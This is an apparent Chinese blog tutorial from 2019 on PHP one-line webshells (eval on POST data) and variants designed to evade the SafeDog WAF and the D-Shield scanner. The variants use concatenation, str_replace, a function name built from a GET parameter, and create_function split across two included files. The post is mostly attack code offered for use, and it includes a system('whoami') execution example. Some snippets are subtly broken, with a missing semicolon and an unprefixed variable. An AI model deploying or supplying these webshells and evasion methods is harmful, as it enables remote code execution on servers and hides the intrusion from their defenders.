很多服务器都会装安全狗,也就是WAF,非法请求马上就被拦截了,因此我们要经过一些处理,
让安全狗不能认出我们的代码是一句话木马。
好多小白只会用一句话

<?php @eval($_POST['cmd']); ?>

但是不知道原理,我先大概说一下一句话木马的原理
@是为了让函数不显示错误
eval是一个php的函数
eval(这里写代码)
这个函数会执行括号里的代码
$_POST['cmd'];
这句的意思是 接收表单的name为 "cmd"的数据
怎么接收?通过POST请求,例如我们post cmd=1234,那么$_POST['cmd']的值就是1234
如果我们语句构造成这个
eval($_POST['cmd']);
然后再post cmd = system("whoami") 等等神奇的代码呢?会不会执行?!

可以看的出代码确实执行了,并且已经得到了系统的权限。
但是这样的木马在实战中还是会被waf过滤到,狗不允许我们用eval执行我们post 过来的代码,但是我们用eval执行其他的代码。
我们把post过来的数据假装改成了其他的数据,这样就骗过狗了。
下面就放上可以过狗的一句话木马。

<?php
$aa=@$_POST["cmd"];
$bb=@$_POST["hehe"];
$cc=$aa.$bb;
@eval($cc);
?>

这个时候只需要给cmd赋值给hehe赋空值也可以达到效果,$aa.$bb的效果就是将$aa的值和$bb的值拼接起来。
如果不想给hehe赋空值怎么办呢
将代码改改也可以达到效果哦!

<?php 
$aa=@$_POST["cmd"];
$bb=@$_POST["hehe"];
$cc=$aa.$bb;
$dd=str_replace($bb,'',$cc);
@eval($dd);
?>

str_replace函数的功能是替换,将$bb的数据替换成空,这样也便可以使用了哦。
那么还有没有方法将这个马伪装的更像正常的语句呢,当然是可以的

<?php 
$aa=@$_POST["cmd"];
$bb=@$_POST["hehe"];
$cc=$aa.$bb;
$got=@$_GET["got"];
$aaa="e".$got
$dd=str_replace($bb,'',$cc);
@$aaa($dd);
?>

用Get的方法传参进去拼接成eval也能达到效果。
但是这通通会被D盾扫出来==,看来d盾还是很严格的嘛
那有没有方法让D盾扫不出来呢,其实也是可以的在1.php里写

<?php
$aa=@$_POST["cmd"];
$bb=@$_POST["hehe"];
$cc=$aa.$bb;
$dd=str_replace($bb,'',$cc);
$fun=create_function('',dd)
?>

在2.php里写

<?php
include "1.php";
$fun();
?>

create_function()也能做到的eval功能哦

最后修改:2019 年 07 月 05 日 03 : 16 PM
如果你觉得有用,欢迎赞赏